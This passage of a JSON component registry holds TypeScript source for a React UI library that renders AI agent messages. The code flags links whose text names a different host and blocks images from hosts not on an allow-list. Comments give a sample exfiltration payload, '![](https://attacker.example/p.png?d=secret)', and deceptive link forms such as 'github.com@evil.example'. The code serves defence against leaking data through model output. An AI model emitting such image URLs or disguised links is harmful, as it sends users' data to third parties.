elsewhere: the text\n * names another host anywhere in it (`Visit github.com →`), counting any word that reads as a\n * domain or an IP address and is not a file's name, or a domain before an `@`\n * (`github.com@evil.example`), or names one in look-alike letters (the host is in punycode,\n * `xn--`), or has characters that do not show, or the URL puts a name before the host\n * (`https://github.com@evil.example`). Otherwise `undefined`, and the link needs nothing beside it.\n */\nexport function linkHostMismatch(text: string, href: string): string | undefined {\n  let url: URL;\n  let target: string | undefined;\n  try {\n    // Against a base of its own, so that a relative URL, which stays on the page's site, has no host\n    // to show, and `//evil.example/x` has evil.example.\n    url = new URL(href, 'https://self.invalid');\n    if (url.host === 'self.invalid') return undefined;\n    if (url.protocol === 'http:' || url.protocol === 'https:') target = normalHost(url.hostname);\n    else if (url.protocol === 'mailto:') target = normalHost(url.pathname.split('@').pop() ?? '');\n  } catch {\n    return undefined;\n  }\n  if (!target) return undefined;\n  // What comes before an @ reads as the host, and is only a user name: whatever the text says.\n  if (url.username || url.password) return target;\n  const trimmed = text.trim();\n  // Characters that do not show, as `revealText` marks them: not the joiner or the variation\n  // selector inside an emoji, as in a red heart or a woman at a laptop.\n  if (revealText(trimmed).some((part) => typeof part !== 'string')) return target;\n  // Those left are an emoji's, and split no name: read without them, so that one after a host does\n  // not keep the text from naming it. Characters that read as a dot read as one.\n  const shown = trimmed.replace(/\\u200D|\\uFE0E|\\uFE0F/gu, '').replace(OTHER_DOT, '.');\n  const mailto = url.protocol === 'mailto:';\n  let named = false;\n  for (const [, user, local, host, domain, path] of shown.matchAll(NAMED_HOST)) {\n    // A domain before an @ reads as the host, as in the URL: `https://github.com@evil.example`, and\n    // `github.com@evil.example`, unless that is the email address a mailto link writes to.\n    const before = user ?? (mailto ? undefined : local);\n    if (before && namesOtherDomain(before, target)) return target;\n    // A name such as `README.md` is a file's, unless its extension is a top-level domain too, as in\n    // `docs.rs`: then only when the link goes to that file.\n    if (\n      domain &&\n      FILE_NAME.test(domain) &&\n      (!TLD_EXTENSION.test(domain) || (!path && lastSegment(url) === domain.toLowerCase()))\n    )\n      continue;\n    if (normalHost(host ?? domain!) !== target) return target;\n    named = true;\n  }\n  // The text names only the host it goes to: still shown when that host is in look-alike letters.\n  return named && target.split('.').some((label) => label.startsWith('xn--')) ? target : undefined;\n}\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/untrusted.ts"
    },
    {
      "path": "packages/signoff-ui/src/lib/utils.ts",
      "content": "import { clsx, type ClassValue } from 'clsx';\nimport { twMerge } from 'tailwind-merge';\n\n/** Merge class names, resolving Tailwind utility conflicts (last one wins). */\nexport function cn(...inputs: ClassValue[]): string {\n  return twMerge(clsx(inputs));\n}\n\n/** True when a keyboard event originates from a text-entry control. */\nexport function isTypingTarget(target: EventTarget | null): boolean {\n  if (!(target instanceof HTMLElement)) return false;\n  if (target.isContentEditable) return true;\n  const tag = target.tagName;\n  if (tag === 'TEXTAREA' || tag === 'SELECT') return true;\n  if (tag === 'INPUT') {\n    const type = (target as HTMLInputElement).type;\n    return !['button', 'checkbox', 'radio', 'submit', 'reset'].includes(type);\n  }\n  return false;\n}\n\n/**\n * True for a key pressed on the app's own content inside a component: an element in a\n * `data-signoff-slot` within it (such as `ApprovalCard`'s `preview`), or a portal rendered from\n * there, such as a menu, whose keys reach the component through React but come from outside its\n * element. A component that is itself in another component's slot still gets its keys, since that\n * slot is outside it.\n */\nexport function fromSlot(event: { target: EventTarget | null; currentTarget: Element }): boolean {\n  const { target, currentTarget } = event;\n  if (!(target instanceof Element)) return false;\n  if (!currentTarget.contains(target)) return true;\n  const slot = target.closest('[data-signoff-slot]');\n  return slot !== null && currentTarget.contains(slot);\n}\n\n/** True for a promise or any other thenable, e.g. what an async event handler returns. */\nexport function isPromiseLike(value: unknown): value is PromiseLike<unknown> {\n  return (\n    value !== null &&\n    (typeof value === 'object' || typeof value === 'function') &&\n    typeof (value as { then?: unknown }).then === 'function'\n  );\n}\n\n/** True when a key event carries a modifier we should not intercept. */\nexport function hasModifier(event: { altKey: boolean; ctrlKey: boolean; metaKey: boolean }) {\n  return event.altKey || event.ctrlKey || event.metaKey;\n}\n\n/** Heading levels a component title can render as. */\nexport type HeadingLevel = 2 | 3 | 4 | 5 | 6;\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/utils.ts"
    },
    {
      "path": "packages/signoff-ui/src/markdown-renderer.tsx",
      "content": "'use client';\n\nimport { createContext, memo, useContext, type ComponentType, type ReactNode } from 'react';\nimport type { SignoffLabelsInput } from './lib/labels';\nimport { cn } from './lib/utils';\n\n/*\n * The seam between the components that show text (AgentMessage, Reasoning) and the renderer that\n * turns it into markup. Nothing here imports react-markdown: the built-in `Markdown` is bound in\n * agent-message.tsx and reasoning.tsx, and `signoff-ui/custom-markdown` binds plain text instead.\n */\n\n/** What a Markdown renderer gets for each text part, and for the reasoning. */\nexport interface MarkdownRendererProps {\n  /** The text, as Markdown. */\n  children: string;\n  /** The text is still arriving: a renderer can close unterminated syntax and show a caret. */\n  streaming: boolean;\n  /**\n   * The number of the message's sources. `[n]` markers up to it can link to\n   * `#${citationPrefix}-${n}`, the ids `AgentMessage` gives its sources. 0 in reasoning.\n   */\n  citations: number;\n  /** The start of those ids. */\n  citationPrefix: string;\n  /**\n   * Where images may load from, as the component got it: see `MarkdownProps.allowedImageHosts`.\n   * Only the built-in renderer enforces it: yours has to drop images from other hosts itself.\n   */\n  allowedImageHosts: readonly string[] | undefined;\n}\n\n/** Renders text as markup instead of the built-in `Markdown`: Streamdown, or your own. */\nexport type MarkdownRenderer = (props: MarkdownRendererProps) => ReactNode;\n\nconst MarkdownRendererContext = createContext<MarkdownRenderer | undefined>(undefined);\n\nexport interface MarkdownRendererProviderProps {\n  /** The renderer for every `AgentMessage` and `Reasoning` inside. `undefined` restores the built-in one. */\n  renderMarkdown: MarkdownRenderer | undefined;\n  children?: ReactNode;\n}\n\n/**\n * Sets the Markdown renderer of every `AgentMessage` and `Reasoning` inside, unless one has its\n * own `renderMarkdown`. Keep the function stable: a new one renders every text part again.\n */\nexport function MarkdownRendererProvider({ renderMarkdown, children }: MarkdownRendererProviderProps) {\n  return <MarkdownRendererContext.Provider value={renderMarkdown}>{children}</MarkdownRendererContext.Provider>;\n}\n\n/** The renderer to use: the component's own, else the nearest provider's. `undefined` means the built-in one. */\nexport function useMarkdownRenderer(renderMarkdown: MarkdownRenderer | undefined) {\n  const fromContext = useContext(MarkdownRendererContext);\n  return renderMarkdown ?? fromContext;\n}\n\n/** What the built-in renderer gets: the same, and the component's own class names and labels. */\nexport interface BuiltInMarkdownProps extends Partial<Omit<MarkdownRendererProps, 'children'>> {\n  children: string;\n  className?: string;\n  labels?: SignoffLabelsInput | undefined;\n}\n\n/** The renderer a component falls back to: `Markdown`, or plain text in `signoff-ui/custom-markdown`. */\nexport type BuiltInMarkdown = ComponentType<BuiltInMarkdownProps>;\n\n/** Without a renderer, `signoff-ui/custom-markdown` shows the text as it is, with its line breaks. */\nexport function PlainText({ children, className }: BuiltInMarkdownProps) {\n  return (\n    <div\n      data-signoff\n      data-slot=\"signoff-markdown\"\n      className={cn(\n        'font-signoff-sans text-signoff-fg text-[14.5px] leading-[1.7] [overflow-wrap:anywhere] whitespace-pre-wrap',\n        className,\n      )}\n    >\n      {children}\n    </div>\n  );\n}\n\nconst sameList = (a: readonly string[] | undefined, b: readonly string[] | undefined) =>\n  a === b || (!!a && !!b && a.length === b.length && a.every((item, i) => item === b[i]));\n\ntype CustomProps = MarkdownRendererProps & { render: MarkdownRenderer; className?: string | undefined };\n\n/** Shallow, except that `allowedImageHosts` compares by value, as `Markdown` does. */\nconst sameProps = (prev: CustomProps, next: CustomProps) =>\n  prev.render === next.render &&\n  prev.className === next.className &&\n  prev.children === next.children &&\n  prev.streaming === next.streaming &&\n  prev.citations === next.citations &&\n  prev.citationPrefix === next.citationPrefix &&\n  sameList(prev.allowedImageHosts, next.allowedImageHosts);\n\n/**\n * Your renderer's output. In a component of its own, so a renderer can use hooks and finished text\n * does not render again on every streamed delta; in a slot, since it is your app's markup.\n */\nexport const CustomMarkdown = memo(function CustomMarkdown({ render, className, ...props }: CustomProps) {\n  return (\n    <div data-signoff-slot className={className}>\n      {render(props)}\n    </div>\n  );\n}, sameProps);\n",
      "type": "registry:component",
      "target": "components/signoff-ui/markdown-renderer.tsx"
    },
    {
      "path": "packages/signoff-ui/src/markdown.tsx",
      "content": "'use client';\n\nimport { createContext, memo, useContext, useMemo, type ComponentPropsWithoutRef, type ReactNode } from 'react';\nimport ReactMarkdown, { type Components } from 'react-markdown';\nimport remarkGfm from 'remark-gfm';\nimport remend from 'remend';\nimport { ImageIcon } from './lib/icons';\nimport { getImagePolicy, isAllowedImage } from './lib/images';\nimport { CodeLines, CopyButton, Img } from './lib/primitives';\nimport { useScrollRegion } from './lib/scroll-region';\nimport { linkHostMismatch, MARK_CLASS, safeUrl } from './lib/untrusted';\nimport { cn } from './lib/utils';\nimport { markdownLabels, untrustedLabels, type SignoffLabelsInput } from './lib/labels';\nimport { useLabels, WithLabels } from './labels';\n\n/** The labels' sections this module reads. */\nconst LABELS = { markdown: markdownLabels, untrusted: untrustedLabels };\n\n/* Minimal structural syntax-tree types, so the plugins need no @types packages. */\ninterface TreeNode {\n  type: string;\n  value?: string;\n  tagName?: string;\n  url?: string;\n  properties?: Record<string, unknown>;\n  data?: { hProperties?: Record<string, unknown> };\n  children?: TreeNode[];\n}\n\n/** remark plugin: turn `[1]`-style markers in text into citation links (`#source-1`). */\nfunction remarkCitations(options: { idPrefix: string; count: number }) {\n  return (tree: TreeNode) => {\n    const visit = (node: TreeNode) => {\n      if (!node.children || node.type === 'link' || node.type === 'linkReference') return;\n      const next: TreeNode[] = [];\n      for (const child of node.children) {\n        if (child.type !== 'text' || !child.value || !/\\[\\d{1,3}\\]/.test(child.value)) {\n          visit(child);\n          next.push(child);\n          continue;\n        }\n        const re = /\\[(\\d{1,3})\\]/g;\n        let last = 0;\n        let match: RegExpExecArray | null;\n        while ((match = re.exec(child.value))) {\n          const n = Number(match[1]);\n          if (n < 1 || n > options.count) continue;\n          if (match.index > last) next.push({ type: 'text', value: child.value.slice(last, match.index) });\n          next.push({\n            type: 'link',\n            url: `#${options.idPrefix}-${n}`,\n            data: { hProperties: { dataCitation: String(n) } },\n            children: [{ type: 'text', value: String(n) }],\n          });\n          last = match.index + match[0].length;\n        }\n        if (last < child.value.length) next.push({ type: 'text', value: child.value.slice(last) });\n      }\n      node.children = next;\n    };\n    visit(tree);\n  };\n}\n\n/** HTML void elements: hast gives them an empty `children` array, but React throws if they get any. */\nconst VOID_ELEMENTS = new Set([\n  'area',\n  'base',\n  'br',\n  'col',\n  'embed',\n  'hr',\n  'img',\n  'input',\n  'link',\n  'meta',\n  'source',\n  'track',\n  'wbr',\n]);\n\n/** rehype plugin: append a caret element after the last rendered text while streaming. */\nfunction rehypeCaret() {\n  return (tree: TreeNode) => {\n    let node: TreeNode = tree;\n    for (;;) {\n      const last = node.children?.at(-1);\n      // Never descend into void elements (a trailing `---` or image): the caret goes after them instead.\n      if (\n        last &&\n        last.type === 'element' &&\n        last.children &&\n        last.tagName !== 'pre' &&\n        !VOID_ELEMENTS.has(last.tagName ?? '')\n      )\n        node = last;\n      else if (last && last.type === 'text' && last.value?.trim() === '' && node.children!.length > 1) {\n        // Skip trailing whitespace text nodes between block elements.\n        node.children = node.children!.slice(0, -1);\n      } else break;\n    }\n    node.children ??= [];\n    node.children.push({ type: 'element', tagName: 'span', properties: { dataSignoffCaret: '' }, children: [] });\n  };\n}\n\n/**\n * rehype plugin: mark images inside links (a badge: `[![CI](badge.svg)](ci-url)`). An image that\n * does not load renders as a link of its own, and a link inside a link is invalid HTML: the browser\n * splits it, which breaks hydration. Marking the tree, rather than relying on our `a` renderer,\n * keeps this working when `components.a` is overridden.\n */\nfunction rehypeImagesInLinks() {\n  return (tree: TreeNode) => {\n    const visit = (node: TreeNode, inLink: boolean) => {\n      for (const child of node.children ?? []) {\n        if (child.type !== 'element') continue;\n        if (inLink && child.tagName === 'img') child.properties = { ...child.properties, dataSignoffInLink: '' };\n        visit(child, inLink || child.tagName === 'a');\n      }\n    };\n    visit(tree, false);\n  };\n}\n\nconst REHYPE_PLUGINS = [rehypeImagesInLinks];\nconst REHYPE_PLUGINS_STREAMING = [rehypeImagesInLinks, rehypeCaret];\n\nconst BLANK = /^[ \\t\\r]*$/;\n/**\n * A line that can start a block: at the left margin, and not what may be a list item (`-`, `+`, `*`\n * or a number), since a list goes on past blank lines.\n */\nconst BLOCK_START = /^[^\\s\\d*+-]/;\n/** Blocks are parsed together up to about this many characters: each parse has a fixed cost too. */\nconst BLOCK_CHARS = 1_000;\n/** A fence, at any indent: three or more backticks (with none after them on the line) or tildes. */\nconst FENCE = /^([ \\t]*)(`{3,}(?=[^`]*$)|~{3,})(.*)/;\n/**\n * A fence opened on the line of a list item (`1. ```bash`) or a quote. Under a list item its closing\n * line is indented, as a fence at the margin may be, so the fences after it would be misread.\n */\nconst CONTAINER_FENCE = /^[ \\t]*(?:(?:>|[-+*]|\\d{1,9}[.)])[ \\t]*)+(?:`{3,}(?=[^`]*$)|~{3})/;\n/**\n * What may be a link reference or footnote definition (its label may hold `\\]`, or go on to the next\n * line), also in a list item or a quote, or indented under one: CommonMark applies those to the whole\n * text.\n */\nconst DEFINITION = /^[ \\t]*(?:(?:>|[-+*]|\\d{1,9}[.)])[ \\t]*)*\\[(?:[^\\\\\\]\\n]|\\\\.)*(?:\\]:|\\\\?$)/;\n/** What may start an HTML block, some of which go on past blank lines. */\nconst HTML_START = /^ {0,3}</;\n\n/** The columns a line's leading spaces and tabs take, with a tab stop every 4. */\nfunction indentOf(line: string) {\n  let column = 0;\n  for (const char of line) {\n    if (char === ' ') column++;\n    else if (char === '\\t') column += 4 - (column % 4);\n    else break;\n  }\n  return column;\n}\n\n/**\n * The text cut into top-level blocks, each parsed on its own, so that a streamed delta parses only\n * the last one again. A block starts after a blank line, outside fenced code, where CommonMark ends\n * what came before: indented lines and list items stay with what they follow.\n */\nfunction splitBlocks(text: string): string[] {\n  const lines = text.split('\\n');\n  const blocks: string[] = [];\n  let start = 0;\n  let size = 0;\n  let fence = '';\n  /** The open fence's indent. */\n  let indent = 0;\n  for (let i = 0; i < lines.length; i++) {\n    const line = lines[i]!;\n    const marker = FENCE.exec(line);\n    if (fence) {\n      // Closed by the same character, at least as many times, with nothing after it. A fence at the\n      // margin closes at up to 3 spaces. An indented one may be in a list item, which this does not\n      // follow: it is followed while its lines keep at least its indent and it closes at that indent,\n      // and otherwise the text is one block.\n      if (marker?.[2]!.startsWith(fence) && BLANK.test(marker[3]!)) {\n        const at = indentOf(line);\n        if (indent === 0 ? at <= 3 : at === indent) fence = '';\n        else if (indent > 0) return [text];\n      } else if (indent > 0 && !BLANK.test(line) && indentOf(line) < indent) return [text];\n    } else {\n      // Definitions are used across blocks, and some HTML blocks go on past blank lines: text with\n      // either, outside fenced code (where `[key: string]: T` and `<div>` are only code), is one block.\n      // So is text with a fence in a list item or a quote, which is not followed line by line here.\n      if (!marker && (DEFINITION.test(line) || HTML_START.test(line) || CONTAINER_FENCE.test(line))) return [text];\n      if (size >= BLOCK_CHARS && BLANK.test(lines[i - 1]!) && BLOCK_START.test(line)) {\n        blocks.push(lines.slice(start, i).join('\\n'));\n        start = i;\n        size = 0;\n      }\n      fence = marker?.[2] ?? '';\n      indent = marker ? indentOf(line) : 0;\n    }\n    size += line.length + 1;\n  }\n  blocks.push(lines.slice(start).join('\\n'));\n  return blocks;\n}\n\n/** One top-level block: memoized, so the blocks before a streamed delta are not parsed again. */\nconst Block = memo(ReactMarkdown);\n\nfunction textOf(node: ReactNode): string {\n  if (typeof node === 'string' || typeof node === 'number') return String(node);\n  if (Array.isArray(node)) return node.map(textOf).join('');\n  if (node && typeof node === 'object' && 'props' in node) {\n    return textOf((node.props as { children?: ReactNode }).children);\n  }\n  return '';\n}\n\n/** A wide table scrolls sideways; while it does, the keyboard can reach it. */\nfunction ScrollableTable({ className, ...props }: ComponentPropsWithoutRef<'table'>) {\n  const L = useLabels(LABELS);\n  const scrollRef = useScrollRegion<HTMLDivElement>(L.markdown.table);\n  return (\n    <div\n      ref={scrollRef}\n      className=\"border-signoff-border focus-visible:outline-signoff-ring my-3 overflow-x-auto rounded-lg border focus-visible:outline-2 focus-visible:outline-offset-2\"\n    >\n      <table className={cn('w-full text-left text-[13px]', className)} {...props} />\n    </div>\n  );\n}\n\nfunction CodeBlock({ children }: { children?: ReactNode }) {\n  const child = Array.isArray(children) ? children[0] : children;\n  const className =\n    child && typeof child === 'object' && 'props' in child\n      ? ((child.props as { className?: string }).className ?? '')\n      : '';\n  const language = /language-([\\w-]+)/.exec(className)?.[1] ?? 'text';\n  const code = textOf(children).replace(/\\n$/, '');\n  const L = useLabels(LABELS);\n  const scrollRef = useScrollRegion<HTMLPreElement>(L.markdown.code(language));\n  return (\n    <div className=\"group/code border-signoff-border bg-signoff-bg/70 relative my-3 overflow-hidden rounded-lg border\">\n      <div className=\"border-signoff-border flex items-center justify-between border-b px-3 py-1\">\n        <span className=\"font-signoff-mono text-signoff-fg-subtle text-[11px]\">\n          {language === 'text' ? L.markdown.codeBadge : language}\n        </span>\n        <CopyButton text={code} label={L.markdown.copyCode} />\n      </div>\n      <pre\n        ref={scrollRef}\n        className=\"font-signoff-mono text-signoff-fg focus-visible:outline-signoff-ring overflow-x-auto px-3 py-2.5 text-[12.5px] leading-relaxed focus-visible:outline-2 focus-visible:-outline-offset-2\"\n      >\n        <CodeLines code={code} language={normalizeLanguage(language)} />\n      </pre>\n    </div>\n  );\n}\n\n/** A `[n]` marker, linking to its source. */\nfunction CitationLink({\n  href,\n  citation,\n  children,\n}: {\n  href?: string | undefined;\n  citation: string;\n  children?: ReactNode;\n}) {\n  const L = useLabels(LABELS);\n  return (\n    <a\n      href={href}\n      className=\"bg-signoff-accent/12 font-signoff-mono text-signoff-accent-fg hover:bg-signoff-accent/25 focus-visible:outline-signoff-ring mx-0.5 inline-flex h-4 min-w-4 -translate-y-px items-center justify-center rounded-[4px] px-1 align-middle text-[10px] font-semibold no-underline transition-colors focus-visible:outline-2 focus-visible:outline-offset-1\"\n      aria-label={L.markdown.citation(citation)}\n    >\n      {children}\n    </a>\n  );\n}\n\n/**\n * Beside a link whose text names another host than the one it goes to\n * (`[https://github.com/…](https://evil.example)`), or names it in look-alike letters: the host it\n * goes to, which the link's accessible name says too.\n */\nfunction LinkHost({ text, href }: { text: string; href: string }) {\n  const L = useLabels(LABELS).untrusted;\n  const host = linkHostMismatch(text, href);\n  if (!host) return null;\n  const name = L.linksTo(host);\n  return (\n    <span data-slot=\"signoff-link-host\" title={name} className={cn(MARK_CLASS, 'ml-1')}>\n      <span aria-hidden=\"true\">{host}</span>\n      <span className=\"sr-only\">{name}</span>\n    </span>\n  );\n}\n\n/** Where images may load from (see `MarkdownProps.allowedImageHosts`). */\nconst ImagePolicyContext = createContext(getImagePolicy(undefined));\n\nconst linkClass =\n  'text-signoff-accent-fg decoration-signoff-accent/40 hover:decoration-signoff-accent focus-visible:outline-signoff-ring font-medium underline underline-offset-2 transition-colors focus-visible:outline-2 focus-visible:outline-offset-1';\n\n/**\n * Images load only from allowed hosts: fetching a URL the model wrote can leak data to a third\n * party (`![](https://attacker.example/p.png?d=secret)`). Other images render as a link instead, or as\n * plain text inside the link they already belong to.\n */\nfunction MarkdownImage({\n  src,\n  alt,\n  title,\n  inLink,\n}: {\n  src: string;\n  alt?: string | undefined;\n  title?: string | undefined;\n  /** The image is the content of a link, so its fallback must not be a link too. */\n  inLink: boolean;\n}) {\n  const policy = useContext(ImagePolicyContext);\n  const L = useLabels(LABELS);\n  // Unsafe protocols, and images that are still streaming, arrive with an empty URL.\n  if (!src) return alt ? <>{alt}</> : null;\n  if (isAllowedImage(src, policy)) {\n    return <Img src={src} alt={alt ?? ''} title={title} className=\"my-2 inline-block max-w-full rounded-lg\" />;\n  }\n  const label = (\n    <>\n      <ImageIcon size={13} className=\"shrink-0 self-center\" />\n      <span className=\"sr-only\">{L.markdown.image}</span> {alt || L.markdown.imageFallback}\n    </>\n  );\n  if (inLink) {\n    return (\n      <span title={title} className=\"inline-flex items-baseline gap-1\">\n        {label}\n      </span>\n    );\n  }\n  const external = /^https?:\\/\\//.test(src);\n  return (\n    <a\n      href={safeUrl(src)}\n      title={title}\n      className={cn(linkClass, 'inline-flex items-baseline gap-1')}\n      {...(external ? { target: '_blank', rel: 'noopener noreferrer' } : {})}\n    >\n      {label}\n    </a>\n  );\n}\n\nfunction normalizeLanguage(lang: string) {\n  const map: Record<string, string> = {\n    typescript: 'ts',\n    javascript: 'js',\n    bash: 'sh',\n    shell: 'sh',\n    zsh: 'sh',\n    python: 'py',\n    yml: 'yaml',\n  };\n  return map[lang] ?? lang;\n}\n\n/**\n * A task list's checkbox (`- [x] done`), which GFM renders as a disabled checkbox with no name:\n * named here (`labels.markdown.task`), and read with its state, checked or not.\n */\nfunction TaskCheckbox(props: ComponentPropsWithoutRef<'input'>) {\n  const L = useLabels(LABELS);\n  return <input {...props} aria-label={props.type === 'checkbox' ? L.markdown.task : undefined} />;\n}\n\n/** react-markdown hands every component the element's syntax tree `node`, which must not reach the DOM. */\nfunction omitNode<P extends { node?: unknown }>(props: P): Omit<P, 'node'> {\n  const rest = { ...props };\n  delete rest.node;\n  return rest;\n}\n\nconst components: Components = {\n  p: ({ className, ...props }) => <p className={cn('my-2.5 first:mt-0 last:mb-0', className)} {...omitNode(props)} />,\n  h1: ({ className, children, ...props }) => (\n    <h1\n      className={cn('text-signoff-fg mt-5 mb-2 text-lg font-semibold tracking-tight first:mt-0', className)}\n      {...omitNode(props)}\n    >\n      {children}\n    </h1>\n  ),\n  h2: ({ className, children, ...props }) => (\n    <h2\n      className={cn('text-signoff-fg mt-5 mb-2 text-base font-semibold tracking-tight first:mt-0', className)}\n      {...omitNode(props)}\n    >\n      {children}\n    </h2>\n  ),\n  h3: ({ className, children, ...props }) => (\n    <h3\n      className={cn('text-signoff-fg mt-4 mb-1.5 text-[15px] font-semibold first:mt-0', className)}\n      {...omitNode(props)}\n    >\n      {children}\n    </h3>\n  ),\n  h4: ({ className, children, ...props }) => (\n    <h4 className={cn('text-signoff-fg mt-3 mb-1 text-sm font-semibold first:mt-0', className)} {...omitNode(props)}>\n      {children}\n    </h4>\n  ),\n  ul: ({ className, ...props }) => (\n    <ul\n      className={cn('marker:text-signoff-fg-subtle my-2.5 list-disc space-y-1 pl-5', className)}\n      {...omitNode(props)}\n    />\n  ),\n  ol: ({ className, ...props }) => (\n    <ol\n      className={cn('marker:text-signoff-fg-subtle my-2.5 list-decimal space-y-1 pl-5', className)}\n      {...omitNode(props)}\n    />\n  ),\n  li: ({ className, ...props }) => <li className={cn('pl-1', className)} {...omitNode(props)} />,\n  input: (props) => <TaskCheckbox {...omitNode(props)} />,\n  blockquote: ({ className, ...props }) => (\n    <blockquote\n      className={cn('border-signoff-border-strong text-signoff-fg-muted my-3 border-l-2 pl-3', className)}\n      {...omitNode(props)}\n    />\n  ),\n  hr: ({ className, ...props }) => <hr className={cn('border-signoff-border my-4', className)} {...omitNode(props)} />,\n  strong: ({ className, ...props }) => (\n    <strong className={cn('text-signoff-fg font-semibold', className)} {...omitNode(props)} />\n  ),\n  a: ({ className, href, children, ...props }) => {\n    const citation = (props as Record<string, unknown>)['data-citation'];\n    if (citation !== undefined) {\n      return (\n        <CitationLink href={href} citation={String(citation)}>\n          {children}\n        </CitationLink>\n      );\n    }\n    const safe = safeUrl(href);\n    const external = safe !== undefined && /^https?:\\/\\//.test(safe);\n    return (\n      <a\n        href={safe}\n        className={cn(linkClass, className)}\n        {...(external ? { target: '_blank', rel: 'noopener noreferrer' } : {})}\n        {...omitNode(props)}\n      >\n        {children}\n        {safe && <LinkHost text={textOf(children)} href={safe} />}\n      </a>\n    );\n  },\n  code: ({ className, ...props }) => (\n    <code\n      className={cn(\n        className?.includes('language-')\n          ? className\n          : 'border-signoff-border bg-signoff-surface-2 font-signoff-mono text-signoff-fg rounded-[5px] border px-1 py-px text-[0.86em]',\n      )}\n      {...omitNode(props)}\n    />\n  ),\n  pre: ({ children }) => <CodeBlock>{children}</CodeBlock>,\n  img: ({ src, alt, title, ...props }) => (\n    <MarkdownImage\n      src={typeof src === 'string' ? src : ''}\n      alt={alt}\n      title={title}\n      inLink={(props as Record<string, unknown>)['data-signoff-in-link'] !== undefined}\n    />\n  ),\n  table: ({ className, ...props }) => <ScrollableTable className={className} {...omitNode(props)} />,\n  th: ({ className, ...props }) => (\n    <th\n      className={cn(\n        'border-signoff-border bg-signoff-surface-2 text-signoff-fg border-b px-3 py-1.5 font-semibold',\n        className,\n      )}\n      {...omitNode(props)}\n    />\n  ),\n  td: ({ className, ...props }) => (\n    <td\n      className={cn('border-signoff-border/60 text-signoff-fg-muted border-b px-3 py-1.5', className)}\n      {...omitNode(props)}\n    />\n  ),\n  span: (props) =>\n    (props as Record<string, unknown>)['data-signoff-caret'] !== undefined ? (\n      <span\n        aria-hidden=\"true\"\n        className=\"bg-signoff-accent motion-safe:animate-signoff-blink ml-0.5 inline-block h-[1.1em] w-[0.5ch] translate-y-[0.2em] rounded-[1px]\"\n      />\n    ) : (\n      <span {...omitNode(props)} />\n    ),\n};\n\nexport interface MarkdownProps {\n  children: string;\n  /** Repairs unterminated syntax and shows a caret while text is still arriving. */\n  streaming?: boolean;\n  /** Number of available sources; `[n]` markers up to this count become citation links. */\n  citations?: number;\n  /** Must match the `idPrefix` of the `Sources` the citations point to. Default \"source\". */\n  citationPrefix?: string;\n  /**\n   * Where images may load from. Default: nowhere. The browser fetches an image as soon as it\n   * renders, so a URL in model output can leak data (`![](https://attacker.example/p.png?d=…)`);\n   * a blocked image renders as a link with its alt text, and nothing is requested.\n   *\n   * - A host name of http(s) URLs, matched exactly: `'images.example.com'` (any port), or\n   *   `'localhost:3000'` (that port only).\n   * - `'self'`: relative URLs (`/logo.png`, `./chart.png`), which load from your own origin.\n   *   `//host/x` is not relative. An absolute URL to your own site needs its host listed.\n   * - `'*'`: every image.\n   *\n   * Compared by value, so an inline array does not re-render the markdown.\n   */\n  allowedImageHosts?: readonly string[] | undefined;\n  /** Element overrides, merged over the defaults. Keep the object stable: a new one re-renders the markdown. */\n  components?: Components;\n  className?: string;\n  /** Words to use instead of the English defaults: see `SignoffLabelsProvider`. Keep the object stable. */\n  labels?: SignoffLabelsInput | undefined;\n}\n\nconst sameList = (a: readonly string[] | undefined, b: readonly string[] | undefined) =>\n  a === b || (!!a && !!b && a.length === b.length && a.every((item, i) => item === b[i]));\n\n/** Shallow, except that `allowedImageHosts` compares by value (it is often written inline). */\nfunction sameProps(prev: MarkdownProps, next: MarkdownProps) {\n  const keys = new Set([...Object.keys(prev), ...Object.keys(next)]) as Set<keyof MarkdownProps>;\n  for (const key of keys) {\n    if (key === 'allowedImageHosts' ? !sameList(prev[key], next[key]) : !Object.is(prev[key], next[key])) return false;\n  }\n  return true;\n}\n\n/**\n * Streaming-safe markdown (GFM). While `streaming`, unterminated emphasis, code\n * and links are closed before parsing so partial output never flashes raw syntax.\n * Raw HTML is not rendered, links and images with unsafe protocols (`javascript:`,\n * `data:`) are stripped, and images load only from `allowedImageHosts`.\n */\nexport const Markdown = memo(function Markdown({\n  children,\n  streaming = false,\n  citations = 0,\n  citationPrefix = 'source',\n  allowedImageHosts,\n  components: overrides,\n  className,\n  labels,\n}: MarkdownProps) {\n  const blocks = useMemo(() => splitBlocks(children), [children]);\n  const last = blocks.length - 1;\n  const remarkPlugins = useMemo(\n    () =>\n      citations > 0\n        ? [remarkGfm, [remarkCitations, { idPrefix: citationPrefix, count: citations }] as const]\n        : [remarkGfm],\n    [citations, citationPrefix],\n  );\n  const imagePolicy = useMemo(() => getImagePolicy(allowedImageHosts), [allowedImageHosts]);\n  const merged = useMemo(() => (overrides ? { ...components, ...overrides } : components), [overrides]);\n  return (\n    <div\n      data-signoff\n      data-slot=\"signoff-markdown\"\n      className={cn(\n        'font-signoff-sans text-signoff-fg text-[14.5px] leading-[1.7] [overflow-wrap:anywhere]',\n        className,\n      )}\n    >\n      {/* .Provider rather than React 19's <Context value>, so that React 18 renders it too. */}\n      <ImagePolicyContext.Provider value={imagePolicy}>\n        <WithLabels labels={labels}>\n          {blocks.map((block, i) => (\n            <Block\n              key={i}\n              // Plugin tuples are typed loosely by unified; the shapes above are correct.\n              remarkPlugins={remarkPlugins as never}\n              rehypePlugins={(i === last && streaming ? REHYPE_PLUGINS_STREAMING : REHYPE_PLUGINS) as never}\n              components={merged}\n            >\n              {/* Only the last block can be unterminated: each one before it ended at a blank line. */}\n              {i === last && streaming ? remend(block, { linkMode: 'text-only' }) : block}\n            </Block>\n          ))}\n        </WithLabels>\n      </ImagePolicyContext.Provider>\n    </div>\n  );\n}, sameProps);\n",
      "type": "registry:component",
      "target": "components/signoff-ui/markdown.tsx"
    },
    {
      "path": "packages/signoff-ui/src/reasoning-base.tsx",
